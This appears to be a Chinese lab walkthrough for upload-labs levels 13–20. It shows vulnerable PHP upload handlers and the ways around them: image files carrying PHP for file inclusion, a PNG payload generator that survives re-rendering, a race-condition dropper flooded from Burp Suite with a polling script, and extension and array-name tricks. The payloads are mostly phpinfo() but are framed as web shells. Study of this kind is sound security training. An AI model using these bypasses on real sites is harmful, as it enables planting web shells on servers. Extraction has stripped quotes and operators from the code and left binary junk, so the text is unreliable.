自己网站做反链,视频拍摄剪辑培训班,官方网站建设流程,网站建设对于学校的重要性目录
upload-labs-env
upload-labs-env第十三关
文件包含漏洞
代码
测试
上传一个.jpg图片
上传一个.png文件
上传一个.gif图片
upload-labs-env第十四关
代码
思路
upload-labs-env第十五关
代码
思路
upload-labs-env第十六关
代码
思路
测试
上传gif格式…目录
upload-labs-env
upload-labs-env第十三关
文件包含漏洞
代码
测试
上传一个.jpg图片
上传一个.png文件
上传一个.gif图片
upload-labs-env第十四关
代码
思路
upload-labs-env第十五关
代码
思路
upload-labs-env第十六关
代码
思路
测试
上传gif格式文件——较简单——比较图片
上传png格式图片——较麻烦
上传jpg格式图片——有一些不能被处理要多试几次
upload-labs-env第十七关
代码
思路
解题思路
上传测试
使用Burpsuite多次上传
生成
upload-labs-env第十八关
思路
测试
upload-labs-env第十九关
代码
思路一绕过大小写
思路二
upload-labs-env第二十关
代码
思路
测试 upload-labs-env
upload-labs-env第十三关
文件包含漏洞
以PHP为例,常用的文件包含函数有以下四种 include(),require(),include_once(),require_once()
区别如下: require():找不到被包含的文件会产生致命错误并停止脚本运行 include():找不到被包含的文件只会产生警告脚本继续执行 require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含则不会再次包含 include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含则不会再次包含
网页代码
?php include $_GET[test]; ?
php代码
?php phpinfo(); ?
利用文件包含我们通过include函数来执行phpinfo.php页面成功解析 将phpinfo.php文件后缀改为txt后进行访问依然可以解析:
将phpinfo.php文件后缀改为jpg格式也可以解析:
可以看出include()函数并不在意被包含的文件是什么类型只要有php代码都会被解析出来。 代码
function getReailFileType($filename){//fopen — 打开文件或者 URL//r - 表示以只读方式打开文件文件必须存在b表示以二进制方式打开文件如果不加b表示默认加了t即以文本方式打开文件$file fopen($filename, rb);//fread — 读取文件可安全用于二进制文件,最多读取2字节$bin fread($file, 2); //只读2字节//fclose — 关闭一个已打开的文件指针,将file指向的文件关闭fclose($file);//unpack 是 PHP 中用于解包二进制数据的函数它可以将二进制字符串解析为 PHP 数组//错误控制运算符用于抑制可能的警告或错误//C表示无符号字符unsigned char占用 1 字节范围为 0 到 255//2表示解析 2 个字节$strInfo unpack(C2chars, $bin);//intval - 获取变量的整数值//将 $strInfo[chars1] 和 $strInfo[chars2] 的值拼接成一个字符串然后将其转换为整数$typeCode intval($strInfo[chars1].$strInfo[chars2]); $fileType ; //文件的后缀如 .jpg, .png, .gif通常是通过文件的**魔数Magic Number**来确定的而不是直接通过文件的后缀名。魔数是文件开头的特定字节用于标识文件的类型。解析前两个字节并拼接后得到的结果实际上是文件魔数的一部分用于匹配文件类型。//JPEG文件头的前两个字节是 0xFFD8转换为十进制是 255216//PNG文件头的前两个字节是 0x8950转换为十进制是 13780//GIF文件头的前两个字节是 0x4749转换为十进制是 7173switch($typeCode){ case 255216: $fileType jpg;break;case 13780: $fileType png;break; case 7173: $fileType gif;break;default: $fileType unknown;} return $fileType;
}$is_upload false;
$msg null;
if(isset($_POST[submit])){$temp_file $_FILES[upload_file][tmp_name];$file_type getReailFileType($temp_file);if($file_type unknown){$msg 文件未知上传失败;}else{$img_path UPLOAD_PATH./.rand(10, 99).date(YmdHis)...$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传出错;}}
}
测试
先上传一个index.jgp上传失败后端对图片内容有检测使用白名单只能上传规定格式的文件
使用文件包含使图片文件中包含php代码生成图片码 copy 00000.jpg /b test.php /a test.jpg 上传一个.jpg图片
复制图片地址转到文件包含漏洞的位置
使用get传递file
包含成功 上传一个.png文件 上传一个.gif图片
我们使用010editor编辑index.php文件在文件头加上gif文件的头 上传访问 upload-labs-env第十四关
代码
function isImage($filename){$types .jpeg|.png|.gif;//file_exists — 检查文件或目录是否存在if(file_exists($filename)){//getimagesize — 取得图像大小$info getimagesize($filename);//image_type_to_extension — 取得图像类型的文件后缀$ext image_type_to_extension($info[2]);//stripos — 查找字符串首次出现的位置不区分大小写if(stripos($types,$ext)0){return $ext;}else{return false;}}else{return false;}
}$is_upload false;
$msg null;//isset — 检测变量是否已声明并且其值不为 null
if(isset($_POST[submit])){//获取上传文件的临时路径$temp_file $_FILES[upload_file][tmp_name];$res isImage($temp_file);if(!$res){$msg 文件未知上传失败;}else{$img_path UPLOAD_PATH./.rand(10, 99).date(YmdHis).$res;//move_uploaded_file — 将上传的文件移动到新位置if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传出错;}}
}
思路
和十三关类似我们上传一个文件包含的图片 我们使用010editor编辑index.php文件在文件头加上gif文件的头 upload-labs-env第十五关
代码
function isImage($filename){//需要开启php_exif模块//exif_imagetype — 判断一个图像的类型//exif_imagetype() 读取一个图像的第一个字节并检查其签名。$image_type exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return gif;break;case IMAGETYPE_JPEG:return jpg;break;case IMAGETYPE_PNG:return png;break; default:return false;break;}
}$is_upload false;
$msg null;
if(isset($_POST[submit])){$temp_file $_FILES[upload_file][tmp_name];$res isImage($temp_file);if(!$res){$msg 文件未知上传失败;}else{$img_path UPLOAD_PATH./.rand(10, 99).date(YmdHis)...$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传出错;}}
}
思路
也是判断上传文件类型 //exif_imagetype — 判断一个图像的类型//exif_imagetype() 读取一个图像的第一个字节并检查其签名。
上传测试 upload-labs-env第十六关
代码
$is_upload false;
$msg null;
if (isset($_POST[submit])){// 获得上传文件的基本信息文件名类型大小临时文件路径$filename $_FILES[upload_file][name];$filetype $_FILES[upload_file][type];$tmpname $_FILES[upload_file][tmp_name];//basename — 返回路径中的文件名部分$target_pathUPLOAD_PATH./.basename($filename);// 获得上传文件的扩展名//strrchr — 查找指定字符在字符串中的最后一次出现//substr从查找的位置按照0,1,2......顺序返回后面的字符$fileext substr(strrchr($filename,.),1);//判断文件后缀与类型合法才进行上传操作if(($fileext jpg) ($filetypeimage/jpeg)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片//imagecreatefromjpeg — 由文件或 URL 创建一个新图象。//图片文件上传之后打乱生成一个新图片我们可以找到没有打乱的部分修改为一句话木马$im imagecreatefromjpeg($target_path);if($im false){$msg 该文件不是jpg格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());//strval — 获取变量的字符串值$newfilename strval(rand())..jpg;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagejpeg($im,$img_path);unlink($target_path);$is_upload true;}} else {$msg 上传出错;}}else if(($fileext png) ($filetypeimage/png)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefrompng($target_path);if($im false){$msg 该文件不是png格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..png;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagepng($im,$img_path);unlink($target_path);$is_upload true; }} else {$msg 上传出错;}}else if(($fileext gif) ($filetypeimage/gif)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefromgif($target_path);if($im false){$msg 该文件不是gif格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..gif;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagegif($im,$img_path);unlink($target_path);$is_upload true;}} else {$msg 上传出错;}}else{$msg 只允许上传后缀为.jpg|.png|.gif的图片文件;}
}
思路
寻找没有打乱的部分上传一句话木马
测试
上传图片下载被上传之后的图片
上传一个含有一句话木马的test_j.jpg
?? JFIF ? ? ? C ? C ? [ ? ? ? } !1AQa q2亼?#B绷R佯$3br?
%()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz儎厗噲墛挀敃枟槞殺ウЖ┆渤吹斗腹郝媚牌侨墒矣哉肿刭卺忏溴骁栝犟蝮趱鲼?? ? ? w !1AQ aq2?B憽绷 #3R?br?$4??()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz們剠唶垑姃摂晼棙櫄ⅲぅΗī炒刀犯购旅呐魄壬室釉罩棕仝忏溴骁栝牝篝貊鼬? ? 齋⒕h?E??颠坾鈅
x寐V荕礆?e笣A侷鈶p??僯酻Y穾撪弢S目? 黓姱|!澱幖盅[茌Y^D?
琟le7F?B独I?y)w苦鵢饩?k鵞馡/V{?Q聤(???????彽x 倐 x⑦煤暉€4兴﹊焙嵁?YaY?$珒滎婘_??醂^x玘誹栺7?Wz泛殖鯽k瀂鄠??Q€輲X?zeG輮彲?/螓?摀~焺T(QE QE QE QE??php
phpinfo();
?
下载被上传后的文件
?? JFIF ? CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
? C $. ,#(7),01444982.342? C 2!!22222222222222222222222222222222222222222222222222? [ ? ? ? } !1AQa q2亼?#B绷R佯$3br?
%()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz儎厗噲墛挀敃枟槞殺ウЖ┆渤吹斗腹郝媚牌侨墒矣哉肿刭卺忏溴骁栝犟蝮趱鲼?? ? ? w !1AQ aq2?B憽绷 #3R?br?$4??()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz們剠唶垑姃摂晼棙櫄ⅲぅΗī炒刀犯购旅呐魄壬室釉罩棕仝忏溴骁栝牝篝貊鼬? ? 麝嚫蛔?塛??T:l7
錋J$gq??澕?类sW/猨]讄?┹嬮t讑Hn蘪?R唀w.?# -Du碤E
(
(
(
(趉MF屪铴j1贠?D饄袶徝(e鄦廕挈徇靑o飊n皖Ж?汗螯祄N誙?撟$猪-
?QE QE QE QE QE ?
已经将php代码打乱
上传gif格式文件——较简单——比较图片
先找一个gif文件
我们使用010editor软件进行比较
打开工具比较选择文件 找到相同部分
我们在文件插入一句话木马尽量在00字段插入不会影响数据 重新上茶访问 上传png格式图片——较麻烦
这里我们使用脚本
demo.php
?php
$p array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);$img imagecreatetruecolor(32, 32);for ($y 0; $y sizeof($p); $y 3) {$r $p[$y];$g $p[$y1];$b $p[$y2];$color imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,./1.png);
?
网站打开文件demo.php
运行后得到1.png.上传后下载到本地打开如下图 使用010editor打开发现一句话木马已经存在了现在就可以上传运行了 上传jpg格式图片——有一些不能被处理要多试几次
也是使用脚本
随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg.
插入php代码
使用脚本处理1.jpg,命令php demo.php 1.jpg 使用16进制编辑器打开,就可以看到插入的php代码. 将生成的payload_1.jpg上传.
将上传的图片再次下载到本地,使用16进制编辑器打开
可以看到,php代码没有被去除. 证明我们成功上传了含有php代码的图片.
需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.
upload-labs-env第十七关 代码
$is_upload false;
$msg null;if(isset($_POST[submit])){//array — 新建一个数组$ext_arr array(jpg,png,gif);$file_name $_FILES[upload_file][name];$temp_file $_FILES[upload_file][tmp_name];//获取文件后缀$file_ext substr($file_name,strrpos($file_name,.)1);$upload_file UPLOAD_PATH . / . $file_name;if(move_uploaded_file($temp_file, $upload_file)){//in_array — 检查数组中是否存在某个值if(in_array($file_ext,$ext_arr)){$img_path UPLOAD_PATH . /. rand(10, 99).date(YmdHis)...$file_ext;//rename — 重命名一个文件或目录rename($upload_file, $img_path);$is_upload true;}else{$msg 只允许上传.jpg|.png|.gif类型文件;//unlink — 删除文件unlink($upload_file);}}else{$msg 上传出错;}
}
思路
代码处理流程 移动文件到指定路径 判断文件后缀是否符合 符合则重命名 不符合则删除文件
错误点
先上传后删除中间有一个极短的窗口期文件是在服务器中的可以进行操作
漏洞
条件竞争漏洞
在phpcmsv9也有同样的漏洞可以直接上传webshell
解题思路
创建一个新木马文件creat.php用于执行时则创建一个info1.php文件
?php //fputs - fwrite的别名 — 写入文件可安全用于二进制文件//fopen — 以写入的方式打开文件或者 URLfputs(fopen(../web.php,w),?php phpinfo();?);?
?php //file_put_contents — 将数据写入文件file_put_concents(../shell.php,?php phpinfo();?);?
建议生成文件到上一层目录
因为同级目录可能会循环删除
上传测试
我们发现上传就被删掉了
使用Burpsuite多次上传 发送到攻击器
添加payload爆破
持续发包
持续的发包我们也需要不间断的去访问
我们也可以使用Burpsuite不间断的去访问比手动效率高
生成
在上级目录已经生成web.php文件 访问成功 upload-labs-env第十八关
思路
上传的文件还是先上传后重命名
使用文件包含上传一个图片码在后端代码执行到重命名之前使用客户端访问到
测试
测试图片码的phpinfo();可不可以执行 可以执行 编辑demo.php
?php fputs(fopen(../web123.php,w),?php phpinfo();?);?
生成图片码 查看图片码 上传抓包爆破
访问查看是否成功
也可以使用Python脚本查看是否有成功的案例
import requests
url http://10.212.99.94/include.php?fileupload/web123.png
while True:html requests.get(url)if (Warning not in str(html.text)):print(ok)break
在上一级目录中生成了重命名后的文件我们访问可以看到图片码上传成功
对于没有被重命名的文件重复上传是否成功有一定的运气在其中 upload-labs-env第十九关 代码
$is_upload false;
$msg null;
if (isset($_POST[submit])) {//file_exists — 检查文件或目录是否存在if (file_exists(UPLOAD_PATH)) {$deny_ext array(php,php5,php4,php3,php2,html,htm,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess);$file_name $_POST[save_name];//pathinfo — 返回文件路径的信息$file_ext pathinfo($file_name,PATHINFO_EXTENSION);//in_array — 检查数组中是否存在某个值if(!in_array($file_ext,$deny_ext)) {//$_FILES — HTTP 文件上传变量$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH . / .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload true;}else{$msg 上传出错;}}else{$msg 禁止保存为该类型文件;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}
}
思路一绕过大小写
直接上传一个info.phP文件然后再修改上传名称即可成功上传。 访问 思路二 没有对上传的文件做判断只对用户输入的文件名做判断 后缀名黑名单 上传的文件名用户可控 黑名单用于用户输入的文件后缀名进行判断 move_uploaded_file()还有这么一个特性会忽略掉文件末尾的 /. 先准备PHP一句话木马并把后缀名改为PNG再上传 然后用BP来抓包效果如下图就是在upload-19.jpg改为upload-19.php/. 因为Windows的特性后缀改为indexp.php.也可 上传成功 upload-labs-env第二十关
代码
$is_upload false;
$msg null;
if(!empty($_FILES[upload_file])){//检查MIME$allow_type array(image/jpeg,image/png,image/gif);//检查上传的文件类型是否在白名单中if(!in_array($_FILES[upload_file][type],$allow_type)){$msg 禁止上传该类型文件!;}else{//检查文件名//如果输入的save_name为空那么使用原始的文件名否则使用save_name上传的文件名$file empty($_POST[save_name]) ? $_FILES[upload_file][name] : $_POST[save_name];if (!is_array($file)) {//explode — 使用一个字符串分割另一个字符串//strtolower — 将字符串转化为小写$file explode(., strtolower($file));}//end — 将数组的内部指针指向最后一个单元$ext end($file);$allow_suffix array(jpg,png,gif);if (!in_array($ext, $allow_suffix)) {$msg 禁止上传该后缀文件!;}else{//reset — 将数组的内部指针指向第一个单元$file_name reset($file) . . . $file[count($file) - 1];$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH . / .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg 文件上传成功;$is_upload true;} else {$msg 文件上传失败;}}}
}else{$msg 请选择要上传的文件;
}
函数分析
php
empty() //函数用于检查一个变量是否为空。
explode(separator,string,limit) //函数把字符串打散为数组。separator 必需。规定在哪里分割字符串。string 必需。要分割的字符串。limit 可选。规定所返回的数组元素的数目。可能的值大于 0 - 返回包含最多 limit 个元素的数组小于 0 - 返回包含除了最后的 -limit 个元素以外的所有元素的数组0 - 返回包含一个元素的数组strtolower() //把所有字符转换为小写
count() //计算数组中的单元数目或对象中的属性个数
end() //函数将内部指针指向数组中的最后一个元素并输出。
reset() //输出数组中的当前元素和下一个元素的值然后把数组的内部指针重置到数组中的第一个元素
思路
需要绕过对非数组进行分割
如果将数组传为save_name[muma.php,不设置,jpg]当我们save_name[1]不设置的时候count结果仍然是2但是文件名后缀拼接出来为空结果为muma.php. 再根据windows特性将.省略达到文件上传的目的
测试
burpsuite改包 上传查看 我们使用vscode来debug一下看一下代码内部的走向 if(!empty($_FILES[upload_file])){ 上传不为空进入if条件语句 $allow_type为image/jpeg 继续 检测上传文件的种类在不在数组$allow_type中 在进入else条件语句 检测到 传入save_name是个数组有值赋值给$file if (!is_array($file)) { 检测$file是否数组如果不是分割成数组 是数组绕过if条件语句 $ext end($file); 将数组的最后一位赋值给$ext 即$ext array(2) jpg xxxxxxxxxx2 1 $allow_suffix array(jpg,png,gif);2 if (!in_array($ext, $allow_suffix)) { $ext是否在白名单中 在 进入else条件判断 拼接赋值,数组中第一个值拼接数组中array(数组长度-1)的值 $file_name test.php. //reset — 将数组的内部指针指向第一个单元$file_name reset($file) . . . $file[count($file) - 1]; Windows存储模式忽略后面的 . 存储为test.php